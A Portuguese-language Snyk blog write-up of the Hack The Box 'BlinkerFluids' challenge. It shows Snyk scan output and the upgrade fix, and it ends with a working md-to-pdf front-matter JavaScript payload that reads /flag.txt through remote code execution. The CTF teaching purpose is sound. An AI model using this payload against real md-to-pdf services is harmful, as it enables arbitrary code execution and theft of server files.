Resolva desafios do Hack The Box e outros CTFs com a Snyk

Hack The Box (HTB) é uma plataforma que transforma o treinamento em cibersegurança em um jogo. É indicada tanto para quem quer trabalhar com testes de invasão quanto para desenvolvedores que desejam se tornar referências em segurança — ou simplesmente entender melhor a mentalidade de quem ataca — para criar aplicações mais seguras.

Acredito na eficácia da gamificação no treinamento e na educação porque, sejamos sinceros: quem nunca participou de um treinamento interno de segurança ou estudou para uma certificação e, seis meses depois, já esqueceu tudo? O HTB segue uma abordagem diferente, com jogos práticos de captura de bandeira (CTF), nos quais os participantes invadem uma máquina — normalmente uma máquina virtual Linux ou Windows — encontrando e explorando vulnerabilidades para capturar duas bandeiras: primeiro, a de um usuário comum; depois, a do usuário root, por meio de uma escalada de privilégios. Uma bandeira é simplesmente o conteúdo de um arquivo de texto específico armazenado na máquina.

Além das "máquinas" (os principais itens da plataforma), o Hack The Box também oferece tarefas menores das quais você pode participar, chamadas "Challenges". Em geral, esses desafios são mais curtos e pedem apenas uma bandeira, mas costumam incluir um conjunto completo de arquivos para baixar. Pode ser um arquivo PCAP para analisar no Wireshark ou o código-fonte completo da aplicação em questão, que permite analisar sua estrutura e seu código — exatamente aí que a Snyk entra.

A Snyk ajuda você a encontrar vulnerabilidades e possíveis pontos de entrada mais rapidamente. Com a Snyk CLI, você pode executar testes SAST (teste estático de segurança de aplicações) e SCA (análise de composição de software) no seu projeto, além de verificar arquivos de manifesto da aplicação, como package.json, em busca de vulnerabilidades conhecidas em bibliotecas de código aberto. Ela também aponta provas de conceito (PoCs).

Análise do desafio BlinkerFluids

O desafio BlinkerFluids é um ótimo exemplo do HTB. Como é relativamente fácil e uma boa opção para começar, vou usá-lo como demonstração neste artigo.

Ao iniciar o desafio, você recebe o IP e a porta do host (46.101.2.216:32221 neste exemplo). Ao abrir esse endereço no navegador, você verá um site com uma interface simples.

Vamos descobrir o que há por trás desta URL de destino acessando http://46.101.2.216:32221.

A aplicação tem uma única página com uma lista de faturas e permite exportá-las como PDF, excluí-las ou criar novas.

Ao passar o cursor sobre o link de exportação em PDF, vemos que os arquivos parecem ser servidos por uma pasta de recursos estáticos.

O editor de criação de faturas parece oferecer um editor WYSIWYG que recebe conteúdo em uma linguagem de marcação (Markdown) antes de convertê-lo em PDF.

Antes de analisar melhor o host de destino, vamos baixar os recursos fornecidos pelo desafio. Depois de baixar e extrair o arquivo ZIP, temos o código-fonte completo da aplicação, um aplicativo Node empacotado como imagem Docker — incluindo o Dockerfile e o package.json.

Também encontramos um arquivo flag.txt na pasta raiz. Nos desafios do HTB, a bandeira geralmente fica no caminho /flag.txt. No entanto, o arquivo deste pacote ZIP é apenas um marcador, não a bandeira ativa que estamos procurando. A plataforma HTB gera e alterna essas bandeiras on-line usando uma lógica própria. De qualquer forma, agora conhecemos os ingredientes e o modo de preparo do aplicativo BlinkerFluids.

1─$ tree -L 2 
2. 
3├── build-docker.sh 
4├── challenge 
5│ ├── database.js 
6│ ├── helpers 
7│ ├── index.js 
8│ ├── node_modules 
9│ ├── package.json 
10│ ├── package-lock.json
11│ ├── routes 
12│ ├── static 
13│ └── views 
14├── config 
15│ └── supervisord.conf 
16├── Dockerfile 
17└── flag.txt 
187 directories, 8 files

A aplicação propriamente dita fica na subpasta "challenge". Como podemos ver, há algumas bibliotecas Node definidas como dependências diretas e transitivas em node_modules. Também encontramos a pasta static, que parece servir os PDFs exportados que vimos anteriormente.

1╰─$ tree -L 2 
2. 
3├── database.js 
4├── helpers 
5│ └── MDHelper.js 
6├── index.js 
7├── node_modules 
8│ ├── ... 
9│ ├── marked 
10│ ├── md-to-pdf 
11│ ├── media-typer 
12│ ├── ... 
13├── package.json 
14├── package-lock.json 
15├── routes 
16│ └── index.js 
17├── static 
18│ ├── css 
19│ ├── images 
20│ ├── invoices 
21│ └── js 
22└── views 
23└── index.html 
24379 directories, 7 files

Análise de vulnerabilidades com a Snyk

Como estamos procurando uma forma de invadir a aplicação e capturar o /flag.txt da instância on-line, podemos estudar o código em detalhes para entender a lógica. Para não alongar demais este artigo, não vou entrar em muitos detalhes.

Em resumo, estamos procurando vulnerabilidades no código personalizado ou em qualquer uma das dependências diretas ou indiretas (transitivas).

A Snyk CLI permite fazer as duas coisas. Se você ainda não instalou a Snyk, basta executar:

1npm i -g snyk

ou seguir qualquer outro método de sua preferência, conforme a documentação na página de instalação da Snyk CLI.

Na subpasta challenge, primeiro executamos um teste SAST no código personalizado:

1snyk code test

e obtemos os seguintes resultados:

1$ snyk code test
2
3Testing 
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...
5
6  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
7    Path: index.js, line 2 
8    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.
9
10  ✗ [Medium] Information Exposure 
11    Path: index.js, line 2 
12    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 
13
14  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
15    Path: routes/index.js, line 9 
16    Info: This endpoint handler performs a file system operation and does
17not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 
18
19  ✗ [High] Cross-site Scripting (XSS) 
20    Path: static/js/main.js, line 20 
21    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 
22
23✔ Test completed
24
25Organization: e-corp-demo 
26Test type: Static code analysis 
27Project path: 
28/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
29
30Summary:
31
32  4 total Code issues: | 1 High | 3 Medium

Embora encontremos algumas vulnerabilidades, inclusive uma de alta gravidade, não há nada que possamos aproveitar — neste caso, XSS não ajuda muito. Então, vamos continuar com um teste SCA.

Em um teste SCA, a Snyk analisa os arquivos de manifesto do projeto (no caso do Node.js, package.json e package-lock.json).

1$ cat package.json 
2↵ 1 
3{ 
4        "name": "blinker-fluids", 
5        "version": "1.0.0", 
6        "description": "", 
7        "main": "index.js", 
8        "scripts": { 
9                "start": "node index.js" 
10        }, 
11        "keywords": [], 
12        "author": "rayhan0x01", 
13        "license": "ISC", 
14        "dependencies": { 
15                "express": "4.17.3", 
16                "md-to-pdf": "4.1.0", 
17                "nunjucks": "3.2.3", 
18                "sqlite-async": "1.1.3", 
19                "uuid": "8.3.2" 
20        }, 
21        "devDependencies": { 
22                "nodemon": "^1.19.1" 
23        } 
24} 

Embora haja apenas 5 dependências diretas no package.json, são 371 dependências no total quando incluímos as transitivas, como vemos no package-lock.json. É muita vulnerabilidade para verificar manualmente. Vamos executar:

1$ npm install 
2$ snyk test

Os resultados são:

1$ snyk test
2
3Testing
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...
5
6Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 
7
8Issues to fix by upgrading: 
9
10  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
11  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
12  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
13  ✗ Remote Code Execution (RCE) [Critical Severity] 
14[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
15    introduced by md-to-pdf@4.1.0 
16
17Issues with no direct upgrade or patch: 
18  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
19    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 
20
21Organization: e-corp-demo 
22Package manager: npm 
23Target file: package-lock.json 
24Project name: blinker-fluids 
25Open source: no 
26Project path: 
27/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
28Licenses: enabled

Agora sim. Podemos ignorar os problemas de ReDoS, já que causar uma indisponibilidade do serviço não nos ajudaria a acessar a plataforma. Mas a vulnerabilidade crítica de Remote Code Execution (RCE) no md-to-pdf parece muito promissora — exatamente o que precisamos. Podemos supor que md-to-pdf é a biblioteca auxiliar usada para converter o Markdown da fatura em PDF.

É aqui que vemos o poder da Snyk. Ela analisou as dependências do projeto em segundos, apontou as vulnerabilidades e até incluiu um link para o Snyk Vulnerability Database — com uma PoC de exploração e links para o relatório original do problema:

Essas informações ajudam na exploração, mas vale destacar que o relatório da Snyk também recomenda como corrigir o problema, como mostra a captura de tela acima. Ou seja, é uma orientação realmente prática.

1How to fix? 
2Upgrade md-to-pdf to version 5.0.0 or higher.

Mas, como agora estamos no papel de quem ataca, vamos consultar o problema original no GitHub para saber mais.

Como aponta o problema no GitHub, a causa é a biblioteca gray-matter (usada pelo md-to-pdf para analisar o front matter), que expõe um mecanismo JavaScript por padrão. Na prática, ela executa eval no Markdown fornecido, permitindo que qualquer pessoa que controle o conteúdo do Markdown execute JavaScript arbitrário.

Podemos ver a PoC original e, mais adiante nos comentários, uma PoC ligeiramente modificada.

Essa PoC tenta listar e exibir o conteúdo de um diretório. Como queremos acessar o conteúdo da bandeira em /flag.txt, fazemos uma pequena alteração para ler o arquivo da bandeira:

1---js 
2{ 
3  css: `body::before { content: 
4"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
5---

Ao colar esse código no gerador de faturas e clicar em salvar, recebemos um PDF com a bandeira que procuramos.

Envie essa bandeira e o desafio estará resolvido. Vamos para o próximo :)

Vire fera em CTFs com a Snyk

Os desafios do Hack The Box são uma forma divertida de aprender sobre vulnerabilidades e como explorá-las. A Snyk nos ajudou a resolver este desafio do Hack The Box ao analisar rapidamente as dependências da aplicação e apontar uma vulnerabilidade crítica de RCE, com informações sobre como explorá-la. Ela também forneceu orientações para que o desenvolvedor da aplicação corrigisse o problema.

Anote na agenda: a Snyk vai organizar o "Fetch the Flag CTF" em 9 de novembro. Inscreva-se e participe: são 16 desafios à sua espera.

Sobre o autor

Mathias Conradt é empreendedor e profissional de cibersegurança, com experiência em engenharia de software e pré-vendas, embaixador da Snyk e líder do capítulo alemão da DevSecCon. Ele também participa de CTFs. Acesse o site pessoal dele.